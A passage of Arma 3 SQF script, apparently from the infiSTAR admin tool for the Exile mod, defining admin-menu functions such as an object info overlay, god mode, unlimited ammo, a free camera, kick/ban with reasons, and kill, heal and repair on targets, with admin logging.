  9710. _ownedby = 'server';
  9711. if!(_owneruid isEqualTo '')then
  9712. {
  9713. _isOnline = if({_owneruid isEqualTo (getPlayerUID _x)} count (call fnc_get_plr) > 0)then{true}else{false};
  9714. _color = if(_isOnline)then{'#00FF00'}else{'#FF0000'};
  9715. _inject = '</t><t align=''left'' size=''.9'' color='+str _color+' shadow=''1'' shadowColor=''#000000''>';
  9716. _ownedby = format['%1 (%2) %3',_ownername,_owneruid,if(_isOnline)then{_inject+'(ONLINE)'}else{_inject+'(OFFLINE)'}];
  9717. };
  9718.  
  9719. _pinshown = _pin;
  9720. if(_pinshown isEqualTo '')then
  9721. {
  9722. _pinshown = 'none';
  9723. };
  9724. _locked = locked _obj isEqualTo 2;
  9725. _ExileIsLocked = _obj getVariable ['ExileIsLocked', 1] isEqualTo -1;
  9726. _color = if(_locked || _ExileIsLocked)then{'#FF0000'}else{'#00FF00'};
  9727. _inject = '</t><t align=''left'' size=''.9'' color='+str _color+' shadow=''1'' shadowColor=''#000000''>';
  9728. _pinshown = format['%1 %2',_pinshown,if(_locked || _ExileIsLocked)then{_inject+'(LOCKED)'}else{_inject+'(UNLOCKED)'}];
  9729.  
  9730.  
  9731. _pos = getPosATL _obj;
  9732. _type = typeOf _obj;
  9733. _health = format['%1%2',ceil((1-(damage _obj))*100),'%'];
  9734. disableSerialization;
  9735. _ctrl = [findDisplay 46,'RscStructuredText',5555314] call fnc_createctrl;
  9736. _ctrl ctrlSetPosition [-.2,0.35,0.6,0.3];
  9737. _ctrl ctrlSetBackgroundColor[0,0,0,0.6];
  9738. _ctrl ctrlCommit 0;
  9739. _txt = format['
  9740. <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>type: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %1</t><br/>
  9741. <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>code: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %2</t><br/>
  9742. <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>owner: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %3</t><br/>
  9743. <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>direction: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %4</t><br/>
  9744. <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>position: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %5</t><br/>
  9745. <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>grid: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %6</t><br/>
  9746. <t align=''left'' size=''.9'' color=''#44CD00'' shadow=''1'' shadowColor=''#000000''>health: </t><t align=''left'' size=''.9'' color=''#5FBEDE'' shadow=''1'' shadowColor=''#000000''> %7</t><br/>
  9747. ',
  9748. _type,
  9749. _pinshown,
  9750. _ownedby,
  9751. getDir _obj,
  9752. _pos,
  9753. mapGridPosition _pos,
  9754. _health
  9755. ];
  9756. _ctrl ctrlSetStructuredText parseText _txt;
  9757. uiSleep 0.1;
  9758. };
  9759. ctrlDelete ((findDisplay 46) displayCtrl 5555314);
  9760. };
  9761. };
  9762. admin_showinfo = {
  9763. _obj = cursortarget;
  9764. if(!isNull _obj)then
  9765. {
  9766. [14,netId _obj] call fnc_AdminReq;
  9767. _log = format['used showinfo on: %1 @%2',typeOf _obj,mapGridPosition _obj];
  9768. _log call fnc_adminLog;
  9769. };
  9770. };
  9771. fnc_infiSTAR_A3cargod = {
  9772. if(isNil 'A3carGodRun')then
  9773. {
  9774. MY_VEHICLES = [];
  9775. _code = {
  9776. _obj = cameraOn;
  9777. if(local _obj)then
  9778. {
  9779. if(_obj isKindOf 'Man')then
  9780. {
  9781. if!(MY_VEHICLES isEqualTo [])then
  9782. {
  9783. {_x removeAllEventhandlers 'HandleDamage';_x allowDamage true;} forEach MY_VEHICLES;
  9784. MY_VEHICLES = [];
  9785. };
  9786. }
  9787. else
  9788. {
  9789. MY_VEHICLES pushBackUnique _obj;
  9790. _obj allowDamage false;
  9791. _obj removeAllEventhandlers 'HandleDamage';
  9792. _obj addEventHandler['HandleDamage',{false}];
  9793. };
  9794. };
  9795. };
  9796. A3carGodRun = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
  9797. }
  9798. else
  9799. {
  9800. [A3carGodRun] call ExileClient_system_thread_removeTask;A3carGodRun=nil;
  9801. {_x removeAllEventhandlers 'HandleDamage';_x allowDamage true;} forEach MY_VEHICLES;
  9802. };
  9803. };
  9804. fnc_LowerTerrain = {
  9805. if(isNil 'admin_terrain')then{admin_terrain = true;} else {admin_terrain = !admin_terrain};
  9806. if(admin_terrain)then{
  9807. setTerrainGrid 50;
  9808. }
  9809. else
  9810. {
  9811. setTerrainGrid 25;
  9812. };
  9813. };
  9814. fnc_infiSTAR_A3UnlAmmo = {
  9815. if(isNil'lastMagazineUNLAMMO')then{lastMagazineUNLAMMO = '';};
  9816. if(isNil 'unlimAmmRun')then
  9817. {
  9818. _code = {
  9819. private['_secondaryWeapon','_muzzle','_vehicle','_turretPath','_mags','_magArray','_magazineClass'];
  9820. _secondaryWeapon = secondaryWeapon player;
  9821. _muzzle = currentWeapon player;
  9822. _vehicle = vehicle player;
  9823. if(player isEqualTo _vehicle)then
  9824. {
  9825. if(_muzzle isEqualTo _secondaryWeapon)then
  9826. {
  9827. if!(_secondaryWeapon isEqualTo '')then
  9828. {
  9829. _curmag = currentMagazine player;
  9830. if!(_curmag isEqualTo '')then
  9831. {
  9832. if!(_curmag isEqualTo lastMagazineUNLAMMO)then
  9833. {
  9834. lastMagazineUNLAMMO = _curmag;
  9835. };
  9836. };
  9837. if!(lastMagazineUNLAMMO isEqualTo '')then
  9838. {
  9839. _magArray = getArray(configFile >> 'CfgWeapons' >> _secondaryWeapon >> 'magazines');
  9840. if(lastMagazineUNLAMMO in _magArray)then
  9841. {
  9842. if(player ammo _secondaryWeapon isEqualTo 0)then
  9843. {
  9844. player addSecondaryWeaponItem lastMagazineUNLAMMO;
  9845. if({lastMagazineUNLAMMO == _x} count (magazines player) < 2)then
  9846. {
  9847. player addMagazine lastMagazineUNLAMMO;
  9848. };
  9849. };
  9850. };
  9851. };
  9852. };
  9853. }
  9854. else
  9855. {
  9856. _vehicle setAmmo [_muzzle,999];
  9857. };
  9858. }
  9859. else
  9860. {
  9861. _assignedVehicleRole = assignedVehicleRole player;
  9862. if((_assignedVehicleRole select 0) isEqualTo 'Turret')then
  9863. {
  9864. _turretPath = _assignedVehicleRole select 1;
  9865. _mags = _vehicle magazinesTurret _turretPath;
  9866. if(_mags isEqualTo [''])then
  9867. {
  9868. _magArray = getArray(configFile >> 'CfgWeapons' >> _muzzle >> 'magazines');
  9869.  
  9870. {
  9871. _vehicle addMagazineTurret [_x,_turretPath];
  9872. systemChat format['Added %1 to your Turret!',_x];
  9873. } forEach _magArray;
  9874. }
  9875. else
  9876. {
  9877. _magazineClass = _vehicle currentMagazineTurret _turretPath;
  9878. _vehicle setMagazineTurretAmmo [_magazineClass,999,_turretPath];
  9879. };
  9880. };
  9881. };
  9882. _vehicle setVehicleAmmo 1;
  9883. };
  9884. unlimAmmRun = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
  9885. }
  9886. else
  9887. {
  9888. if(!isNil'unlimAmmRun')then{[unlimAmmRun] call ExileClient_system_thread_removeTask;unlimAmmRun=nil;};
  9889. };
  9890. };
  9891. fnc_infiSTAR_A3noRecoil = {
  9892. if(isNil 'noRecoilRun')then
  9893. {
  9894. _code = {
  9895. (vehicle player) setUnitRecoilCoefficient 0;
  9896. player setUnitRecoilCoefficient 0;
  9897. player setCustomAimCoef 0;
  9898. };
  9899. noRecoilRun = [1, _code, [], true] call ExileClient_system_thread_addtask;
  9900. }
  9901. else
  9902. {
  9903. if(!isNil'noRecoilRun')then{[noRecoilRun] call ExileClient_system_thread_removeTask;noRecoilRun=nil;};
  9904. (vehicle player) setUnitRecoilCoefficient 1;
  9905. player setUnitRecoilCoefficient 1;
  9906. };
  9907. };
  9908. fnc_infiSTAR_A3FF = {
  9909. if(isNil 'A3FFrun')then
  9910. {
  9911. _code = {
  9912. _muzzle = currentWeapon player;
  9913. if(_muzzle isEqualType '')then
  9914. {
  9915. (vehicle player) setWeaponReloadingTime [player, _muzzle, 0];
  9916. };
  9917. };
  9918. A3FFrun = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
  9919. }
  9920. else
  9921. {
  9922. if(!isNil'A3FFrun')then{[A3FFrun] call ExileClient_system_thread_removeTask;A3FFrun=nil;};
  9923. };
  9924. };
  9925. fnc_infiSTARHIDE = {
  9926. if(isNil'A3HIDErun')then
  9927. {
  9928. [2,true] call fnc_AdminReq;
  9929. A3HIDErun = true;
  9930. }
  9931. else
  9932. {
  9933. [2,false] call fnc_AdminReq;
  9934. A3HIDErun = nil;
  9935. };
  9936. };
  9937. fnc_DisableAnnouncements = {
  9938. if(isNil 'A3DANNrun')then{A3DANNrun = 0;};
  9939. if(A3DANNrun==0)then
  9940. {
  9941. A3DANNrun=1;
  9942. AdminAnnounceDisabled = true;
  9943. }
  9944. else
  9945. {
  9946. A3DANNrun=0;
  9947. AdminAnnounceDisabled = nil;
  9948. };
  9949. };
  9950. fnc_FreeRoamCam = {
  9951. if(isNil 'freeFlightCam')then
  9952. {
  9953. camDestroy freeFlightCam;
  9954. freeFlightCam = nil;
  9955. _getPos = player modelToWorld[0,3, 1.75];
  9956. freeFlightCam = 'camera' camCreate _getPos;
  9957. freeFlightCam setDir([_getPos, player] call BIS_fnc_dirTo);
  9958. freeFlightCam camCommand 'MANUAL ON';
  9959. freeFlightCam camCommand 'INERTIA OFF';
  9960. freeFlightCam cameraEffect['INTERNAL', 'BACK'];
  9961. showCinemaBorder false;
  9962. _log = 'Right Click To Cancel!';
  9963. _log call FN_SHOW_LOG;
  9964. }
  9965. else
  9966. {
  9967. camDestroy freeFlightCam;
  9968. freeFlightCam = nil;
  9969. };
  9970. };
  9971. fnc_BIS_FreeRoamCam = {
  9972. if(!isNil'camerathread')then{terminate camerathread;camerathread=nil;};
  9973. camerathread = [] spawn (uinamespace getvariable 'bis_fnc_camera');
  9974. };
  9975. fnc_createBillboard = {
  9976. _textureid = _this;
  9977. _selected = pathToCustomBillBoardTextures select _textureid;
  9978. _name = _selected select 0;
  9979. _texture = _selected select 1;
  9980. _dir = getDir player + 90;
  9981. _location = player modelToWorld [0,5,0];
  9982.  
  9983. [4,_texture,_textureid,_dir,_location] call fnc_AdminReq;
  9984.  
  9985. _log = format['Billoard %1 created!',_name];
  9986. _log call FN_SHOW_LOG;
  9987. _log call fnc_adminLog;
  9988. };
  9989. fnc_deleteVeh_selected = {
  9990. {player reveal _x;} foreach (cameraOn nearObjects 50);
  9991. _target = _this select 0;
  9992. if(typeName _target != 'OBJECT')then{_target = cursorTarget;};
  9993. if(isNull _target)then{_target = cursorObject;};
  9994. if(!isNull _target)then
  9995. {
  9996. if(isPlayer _target && vehicle _target isKindOf 'Man')exitWith{systemChat '<infiSTAR.de> can not delete a player..';};
  9997.  
  9998. _delete = (vehicle _target);
  9999.  
  10000. if(isNil 'DELETE_TARGET')then{DELETE_TARGET = objNull;};
  10001. if(str DELETE_TARGET != str _delete)exitWith
  10002. {
  10003. _type = typeOf _delete;
  10004. _distance = round(cameraOn distance _delete);
  10005.  
  10006.  
  10007. if(_type isEqualTo '')then{
  10008. _type = _delete;
  10009. }
  10010. else
  10011. {
  10012. _displayName = gettext (configFile >> 'CfgVehicles' >> _type >> 'displayName');
  10013. _type = format['%1(%2)',_type,_displayName];
  10014. };
  10015. _log = format['DELETE: %1 distance %2m? (press continue and delete again)',_type,_distance];
  10016.  
  10017.  
  10018. _log call FN_SHOW_LOG;
  10019. DELETE_TARGET = _delete;
  10020. };
  10021.  
  10022. if(isNil 'ToDeleteArray')then{ToDeleteArray = [];};
  10023. if(_delete in ToDeleteArray)then
  10024. {
  10025. _log = format['%1 - IN DELETE QUEUE',_delete];
  10026. _log call FN_SHOW_LOG;
  10027. }
  10028. else
  10029. {
  10030. _netId = netId _delete;
  10031. if(_netId isEqualTo '0:0')then
  10032. {
  10033. deleteVehicle _delete;
  10034. }
  10035. else
  10036. {
  10037. ToDeleteArray pushBack _delete;
  10038. [-4,netId _delete] call fnc_AdminReq;
  10039. };
  10040.  
  10041. _log = format['Deleting %1 @%2..',typeOf _delete,mapGridPosition _delete];
  10042. if(getPlayerUID _target != '')then
  10043. {
  10044. _log = format['Deleting %1(%2) vehicle: %3 @%4..',name _target,getPlayerUID _target,typeOf _delete,mapGridPosition _delete];
  10045. };
  10046. _log call FN_SHOW_LOG;
  10047. systemchat _log;
  10048. diag_log _log;
  10049. _log call fnc_adminLog;
  10050. };
  10051. }
  10052. else
  10053. {
  10054. DELETE_TARGET = objNull;
  10055. };
  10056. };
  10057. fnc_flipVeh = {
  10058. _target = _this select 0;
  10059. if(typeName _target != 'OBJECT')then
  10060. {
  10061. _target = cursorTarget;
  10062. };
  10063. if(isNull _target)then{_target = cursorObject;};
  10064. _target = vehicle _target;
  10065. if((!isNull _target) && {alive _target} && {_target isKindOf 'Landvehicle' || _target isKindOf 'Air' || _target isKindOf 'Ship'})then
  10066. {
  10067. if(local _target)then
  10068. {
  10069. _pos = getPos _target;
  10070. _pos set[2,(_pos select 2)+2];
  10071. _target setPos _pos;
  10072. _target setVectorUp [0,0,1];
  10073. }
  10074. else
  10075. {
  10076. [-3,netId _target] call fnc_AdminReq;
  10077. };
  10078.  
  10079. _log = format['Flipping %1 @%2..',typeOf _target,mapGridPosition _target];
  10080. _log call FN_SHOW_LOG;
  10081. };
  10082. };
  10083. fnc_Light_selected = {
  10084. _target = _this select 0;
  10085. _pos = screenToWorld [0.5,0.5];
  10086. if(typeName _target != 'OBJECT')then
  10087. {
  10088. _target = cursorTarget;
  10089. };
  10090. if(isNull _target)then{_target = cursorObject;};
  10091.  
  10092. _log = format['Lightning @%1 %2',_pos,mapGridPosition _pos];
  10093. if(!isNull _target)then
  10094. {
  10095. _pos = getPos _target;
  10096.  
  10097. _log = format['Lightning %1 @%2 %3',typeOf _target,_pos,mapGridPosition _pos];
  10098. if(getPlayerUID _target != '')then
  10099. {
  10100. _log = format['Lightning %1(%2) @%3 %4',name _target,getPlayerUID _target,_pos,mapGridPosition _pos];
  10101. };
  10102. };
  10103. _log call FN_SHOW_LOG;
  10104.  
  10105. _log call fnc_adminLog;
  10106. [-1,_pos] call fnc_AdminReq;
  10107. };
  10108. fnc_Kill_selected = {
  10109. _target = _this select 0;
  10110. if(typeName _target != 'OBJECT')then
  10111. {
  10112. _target = cursorTarget;
  10113. };
  10114. if(isNull _target)then{_target = cursorObject;};
  10115. if(!isNull _target)then
  10116. {
  10117. if(alive _target)then
  10118. {
  10119. if!(_target getVariable ['killed',''] isEqualTo '')exitWith{};
  10120.  
  10121. _log = format['Killing %1 @%2',typeOf _target,mapGridPosition _target];
  10122. if(getPlayerUID _target != '')then
  10123. {
  10124. _log = format['Killing %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
  10125. };
  10126. _log call FN_SHOW_LOG;
  10127.  
  10128. _log call fnc_adminLog;
  10129. _target setVariable ['killed',format['%1(%2)',profileName,getPlayerUID player]];
  10130. [-2,netId _target] call fnc_AdminReq;
  10131. };
  10132. };
  10133. };
  10134. fnc_Explode_selected = {
  10135. _target = _this select 0;
  10136. if(typeName _target != 'OBJECT')then
  10137. {
  10138. _target = cursorTarget;
  10139. };
  10140. if(isNull _target)then{_target = cursorObject;};
  10141. _pos = screenToWorld [0.5,0.5];
  10142. _log = format['Exploding @%1',mapGridPosition _pos];
  10143. if(!isNull _target)then
  10144. {
  10145. _log = format['Exploding %1 @%2',typeOf _target,mapGridPosition _target];
  10146. if(isPlayer _target)then
  10147. {
  10148. _log = format['Exploding %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
  10149. };
  10150.  
  10151. _eyepos = ASLToATL eyepos _target;if(surfaceIsWater _eyepos)then{_eyepos = eyepos _target;};
  10152. _pos = getPosVisual _target;
  10153. _pos set[2,_eyepos select 2];
  10154. };
  10155. _log call FN_SHOW_LOG;
  10156. _log call fnc_adminLog;
  10157.  
  10158. _bomb = 'HelicopterExploSmall' createVehicleLocal _pos;
  10159. };
  10160. fnc_Disconnect_selected = {
  10161. _target = _this select 0;
  10162. if(!isNull _target)then
  10163. {
  10164. [-664,netId _target] call fnc_AdminReq;
  10165. _log = format['Disconnect %1(%2)',name _target,getPlayerUID _target];
  10166. _log call FN_SHOW_LOG;
  10167. }
  10168. else
  10169. {
  10170. _log = 'target does not exist';
  10171. _log call FN_SHOW_LOG;
  10172. };
  10173. };
  10174. fnc_get_reason = {
  10175. disableSerialization;
  10176. if(_this isEqualTo [])exitWith{systemChat 'no input';};
  10177. if(isNull findDisplay -1341)then{(findDisplay MAIN_DISPLAY_ID) closeDisplay 0;createdialog 'infiSTAR_EDITBOX';};
  10178. _display = findDisplay -1341;
  10179. _ctrl = [_display,'RSCButton',7337] call fnc_createctrl;
  10180. _ctrl ctrlSetText 'SUBMIT REASON';
  10181. _ctrl ctrlSetPosition [
  10182. 0.5,
  10183. 0.75,
  10184. 0.25,
  10185. 0.033 * safezoneH
  10186. ];
  10187. _ctrl ctrlSetEventHandler['ButtonClick','
  10188. _input = '+str _this+';
  10189. _adminreq = _input select 0;
  10190. _opt = _input select 1;
  10191. _TNAME = _input select 2;
  10192. _TUID = _input select 3;
  10193. _what = _input select 4;
  10194.  
  10195. _txt = ctrlText ((findDisplay -1341) displayCtrl 1336);
  10196. _txt = if(_txt isEqualTo '''')then{''ADMIN DECISION''}else{_txt select [0,300]};
  10197. _adminreq pushBack (toArray _txt);
  10198. _adminreq call fnc_AdminReq;
  10199.  
  10200. if(_opt isEqualTo 1)then
  10201. {
  10202. _msg = format[''%1 has been %2!'',_TNAME,_what];
  10203. [8,toArray _msg] call fnc_AdminReq;
  10204. };
  10205. _log = format[''%4 %1(%2): %3'',_TNAME,_TUID,_txt,_what];
  10206. _log call FN_SHOW_LOG;
  10207. true;'];
  10208. _ctrl ctrlCommit 0;
  10209. _ctrl = [_display,'RSCButton',7338] call fnc_createctrl;
  10210. _ctrl ctrlSetText 'STOP';
  10211. _ctrl ctrlSetPosition [
  10212. 0.25,
  10213. 0.75,
  10214. 0.25,
  10215. 0.033 * safezoneH
  10216. ];
  10217. _ctrl ctrlSetEventHandler['ButtonClick','closeDialog 0;true'];
  10218. _ctrl ctrlCommit 0;
  10219. };
  10220. fnc_do_target = {
  10221. _target = _this select 0;
  10222. _option = _this select 1;
  10223. _suboption = _this select 1;
  10224.  
  10225. if(!isNull _target)then
  10226. {
  10227. _TUID = getPlayerUID _target;
  10228. if(_TUID != '')then
  10229. {
  10230. _TNAME = name _target;
  10231. _input = call {
  10232. if(_option isEqualTo 0)exitWith{[[-665,netId _target],_suboption,_TNAME,_TUID,'KICKED']};
  10233. if(_option isEqualTo 1)exitWith{[[-666,0,netId _target],_suboption,_TNAME,_TUID,'BANNED']};
  10234. if(_option isEqualTo 2)exitWith{[[-666,1,netId _target],_suboption,_TNAME,_TUID,'TEMP-BANNED']};
  10235. []
  10236. };
  10237. _input call fnc_get_reason;
  10238. };
  10239. }
  10240. else
  10241. {
  10242. _log = 'target does not exist';
  10243. _log call FN_SHOW_LOG;
  10244. };
  10245. };
  10246. fnc_ATTACH_TO = {
  10247. if(isNil'LastAttachedObject')then{LastAttachedObject=objNull;};
  10248. if(!isNull LastAttachedObject)exitWith{detach LastAttachedObject;LastAttachedObject = nil;};
  10249.  
  10250. _target = _this select 0;
  10251. if(typeName _target != 'OBJECT')then
  10252. {
  10253. _target = cursorTarget;
  10254. };
  10255. if(isNull _target)then{_target = cursorObject;};
  10256. if(!isNull _target)then
  10257. {
  10258. _bbr = boundingBoxReal _target;
  10259. _p1 = _bbr select 0;
  10260. _p2 = _bbr select 1;
  10261. _offset = 5;
  10262. _maxWidth = abs ((_p2 select 0) - (_p1 select 0));
  10263. _maxLength = abs ((_p2 select 1) - (_p1 select 1));
  10264. if(_maxWidth > _offset)then{_offset = _maxWidth;};
  10265. if(_maxLength > _offset)then{_offset = _maxLength;};
  10266.  
  10267. _bbr = boundingBoxReal vehicle player;
  10268. _p1 = _bbr select 0;
  10269. _p2 = _bbr select 1;
  10270. _maxHeight = abs ((_p2 select 2) - (_p1 select 2));
  10271.  
  10272. [5,netId _target,_offset,_maxHeight] call fnc_AdminReq;
  10273. LastAttachedObject = _target;
  10274.  
  10275. _log = format['Attaching %1 to player',typeOf _target];
  10276. _log call FN_SHOW_LOG;
  10277. }
  10278. else
  10279. {
  10280. _log = 'target does not exist';
  10281. _log call FN_SHOW_LOG;
  10282. };
  10283. };
  10284. fnc_ReviveTarget = {
  10285. _target = _this select 0;
  10286. if(!isNull _target)then
  10287. {
  10288. if(alive _target)exitWith
  10289. {
  10290. _log = 'target already alive..!';
  10291. _log call FN_SHOW_LOG;
  10292. };
  10293. if(getPlayerUID _target != '')then
  10294. {
  10295. moveOut _target;
  10296. unassignVehicle _target;
  10297. _target action ['eject', (vehicle _target)];
  10298.  
  10299. _log = format['Revived %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
  10300. _log call FN_SHOW_LOG;
  10301. [19,netId _target] call fnc_AdminReq;
  10302. };
  10303. }
  10304. else
  10305. {
  10306. _log = 'target does not exist';
  10307. _log call FN_SHOW_LOG;
  10308. };
  10309. };
  10310. fnc_HealTarget = {
  10311. _target = _this select 0;
  10312. if(typeName _target != 'OBJECT')then
  10313. {
  10314. _target = cursorTarget;
  10315. };
  10316. if(isNull _target)then{_target = cursorObject;};
  10317. if(!isNull _target)then
  10318. {
  10319. _log = format['Healed %1 @%2',typeOf _target,mapGridPosition _target];
  10320. if(getPlayerUID _target != '')then
  10321. {
  10322. _log = format['Healed %1(%2) @%3',name _target,getPlayerUID _target,mapGridPosition _target];
  10323. };
  10324. _log call FN_SHOW_LOG;
  10325.  
  10326. [9,netId _target] call fnc_AdminReq;
  10327. }
  10328. else
  10329. {
  10330. _log = 'target does not exist';
  10331. _log call FN_SHOW_LOG;
  10332. };
  10333. };
  10334. fnc_RepairTarget = {
  10335. _target = _this select 0;
  10336. if(typeName _target != 'OBJECT')then
  10337. {
  10338. _target = cursorTarget;
  10339. };
  10340. if(isNull _target)then{_target = cursorObject;};
  10341. if(!isNull _target)then
  10342. {
  10343. _log = format['%1 @%2 - Repaired & Refueled',typeOf _target,mapGridPosition _target];
  10344. if(getPlayerUID _target != '')then
  10345. {
  10346. _log = format['%1 @%2 - Repaired & Refueled @%3',name _target,getPlayerUID _target,mapGridPosition _target];
  10347. };
  10348. _log call FN_SHOW_LOG;
  10349.  
  10350. [9,netId (vehicle _target)] call fnc_AdminReq;
  10351. }
  10352. else
  10353. {
  10354. _log = 'target does not exist';
  10355. _log call FN_SHOW_LOG;
  10356. };
  10357. };
  10358. infiSTAR_A3Heal = {
  10359. [9,netId cameraOn] call fnc_AdminReq;
  10360. _log = format['Healed %1(%2)',name cameraOn,getPlayerUID cameraOn];
  10361. _log call FN_SHOW_LOG;
  10362. };
  10363. infiSTAR_A3RestoreNear = {
  10364. _done = [];
  10365. {
  10366. _crewandobject = [_x];
  10367. _crewandobject append (crew _x);
  10368.  
  10369. {
  10370. _id = _done pushBackUnique _x;
  10371. if(_id > -1)then
  10372. {
  10373. [9,netId _x] call fnc_AdminReq;
  10374. };
  10375. } forEach _crewandobject;
  10376. } forEach (cameraOn nearEntities ['AllVehicles',15]);
  10377.  
  10378. _log = format['Restored Near %1(%2)',name cameraOn,getPlayerUID cameraOn];
  10379. _log call FN_SHOW_LOG;
  10380. };
  10381. fn_addArsenalAction = {
  10382. if('Arsenal' call ADMINLEVELACCESS)then
  10383. {
  10384. _log = '';
  10385. _id = player getVariable ['arsenal_action_id',-1];
  10386. if(_id > -1)then
  10387. {
  10388. player removeAction _id;
  10389. _id = -1;
  10390. _log = 'Arsenal Action removed from player.';
  10391. }
  10392. else
  10393. {
  10394. _id = player addAction ['Arsenal',{['Open',true] call BIS_fnc_arsenal;}];
  10395. _log = 'Arsenal Action added to player.';
  10396. };
  10397. player setVariable ['arsenal_action_id',_id];
  10398. _log call FN_SHOW_LOG;
  10399. _log call fnc_adminLog;
  10400. };
  10401. };
  10402. infiSTAR_A3addAmmo = {
  10403. if(isNil'SELECTED_TARGET_PLAYER')then{SELECTED_TARGET_PLAYER=player;};
  10404. if(isNull SELECTED_TARGET_PLAYER)then{SELECTED_TARGET_PLAYER=player;};
  10405. if(!alive SELECTED_TARGET_PLAYER)then{SELECTED_TARGET_PLAYER=player;};
  10406. _log = '';
  10407. _veh = vehicle SELECTED_TARGET_PLAYER;
  10408. if(_veh == SELECTED_TARGET_PLAYER)then
  10409. {
  10410. _muzzle = currentWeapon SELECTED_TARGET_PLAYER;
  10411. _magArray = getArray(configFile >> 'CfgWeapons' >> _muzzle >> 'magazines');
  10412. if((((toLower _muzzle) find '_gl' != -1) && {((toLower _muzzle) find '_glock' == -1)})||((toLower _muzzle) find 'm203' != -1))then
  10413. {
  10414. _pewpews = [];
  10415. {
  10416.  
  10417. if(((toLower _x) select [0,4] in ['1rnd','3rnd'])||((toLower _x) find 'ugl_' != -1))then
  10418. {
  10419. _pewpews pushBack _x;
  10420. };
  10421. } forEach ALL_MAGS_TO_SEARCH_C;
  10422. _magArray append _pewpews;
  10423. };
  10424. if(_magArray isEqualTo [])exitWith{};
  10425. [] call fnc_FULLinit;
  10426. LASTSUBBUTTON = 0;
  10427. FILLMAINSTATE = 6;
  10428. disableSerialization;
  10429. _ctrl = (findDisplay MAIN_DISPLAY_ID) displayCtrl RIGHT_SHIFT_ID;
  10430. lbclear _ctrl;
  10431. _ctrl lbAdd '==== Magazines ====';
  10432. {
  10433. _lbid = _ctrl lbAdd format['%1 (%2)',getText(configFile >> 'CfgMagazines' >> _x >> 'displayName'),_x];
  10434. _ctrl lbSetData [_lbid,_x];
  10435. _x call fnc_addpic;
  10436. } forEach _magArray;
  10437. [] call fnc_colorizeMain;
  10438. for '_i' from 0 to 12 do {_ctrl lbAdd '';};
  10439. }
  10440. else
  10441. {
  10442. _log = format['%1 added Ammo to %2',name SELECTED_TARGET_PLAYER,typeOf _veh];
  10443. {
  10444. _wep = _x;
  10445. {
  10446. [_veh,_x] call fnc_reallyAdditem;
  10447. } forEach (getArray (configFile >> 'CfgWeapons' >> _wep >> 'magazines'));
  10448. } forEach (weapons _veh);
  10449. };
  10450. _log call FN_SHOW_LOG;
  10451. _log call fnc_adminLog;
  10452. };
  10453. infiSTAR_A3Invulnerability = {
  10454. if(isNil 'A3Invulnerability')then
  10455. {
  10456. _code = {
  10457. player allowDamage false;
  10458. player removeAllEventhandlers 'HandleDamage';
  10459. player addEventhandler ['HandleDamage', {false}];
  10460. ExileClientPlayerAttributes = [100,100,100,100,0,37,0];
  10461. ExileClientPlayerAttributesASecondAgo = ExileClientPlayerAttributes;
  10462. ExileClientPlayerLastHpRegenerationAt = diag_tickTime;
  10463. ExileClientPlayerIsOverburdened = false;
  10464. ExileClientPlayerOxygen = 100;
  10465. ExileClientPlayerIsAbleToBreathe = true;
  10466. ExileClientPlayerIsDrowning = false;
  10467. ExileClientPlayerIsInjured = false;
  10468. ExileClientPlayerIsBurning = false;
  10469. ExileClientPlayerIsBleeding = false;
  10470. ExileClientPlayerIsExhausted = false;
  10471. ExileClientPlayerIsHungry = false;
  10472. ExileClientPlayerIsThirsty = false;
  10473. player setBleedingRemaining 0;
  10474. player setOxygenRemaining 1;
  10475. player setFatigue 0;
  10476. if(damage player > 0)then{player setDamage 0;};
  10477. if(!isNil'ExileRadiationThreadHandle')then
  10478. {
  10479. [] call ExileClient_system_radiation_event_onPlayerDied;
  10480. ExilePlayerRadiation = 0;
  10481. ExilePlayerRadiationLastCheck = 0;
  10482. };
  10483. };
  10484. A3Invulnerability = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
  10485. }
  10486. else
  10487. {
  10488. if(!isNil'A3Invulnerability')then{[A3Invulnerability] call ExileClient_system_thread_removeTask;A3Invulnerability=nil;};
  10489. player allowDamage true;
  10490. player removeAllEventhandlers 'HandleDamage';
  10491. player addEventHandler ['HandleDamage',{_this call ExileClient_object_player_event_onHandleDamage}];
  10492. [] call ExileClient_system_radiation_event_onPlayerSpawned;
  10493. };
  10494. };
  10495. infiSTAR_A3Invulnerability2 = {
  10496. if(isNil 'A3Invulnerability2')then
  10497. {
  10498. _code = {
  10499. player allowDamage false;
  10500. player removeAllEventhandlers 'HandleDamage';
  10501. player addEventhandler ['HandleDamage', {false}];
  10502. if(damage player > 0)then{player setDamage 0;};
  10503. };
  10504. A3Invulnerability2 = [0.1, _code, [], true] call ExileClient_system_thread_addtask;
  10505. }
  10506. else
  10507. {
  10508. if(!isNil'A3Invulnerability2')then{[A3Invulnerability2] call ExileClient_system_thread_removeTask;A3Invulnerability2=nil;};
  10509. player allowDamage true;
  10510. player removeAllEventhandlers 'HandleDamage';
  10511. player addEventHandler ['HandleDamage',{_this call ExileClient_object_player_event_onHandleDamage}];
  10512. };
  10513. };
  10514. fnc_draw3dhandlerAI = ""
  10515. if(!isNull cameraOn)then
  10516. {
  10517. ALLVEHICLES_OBJECTS_1500m = cameraOn nearEntities ['Allvehicles',1500];
  10518. {
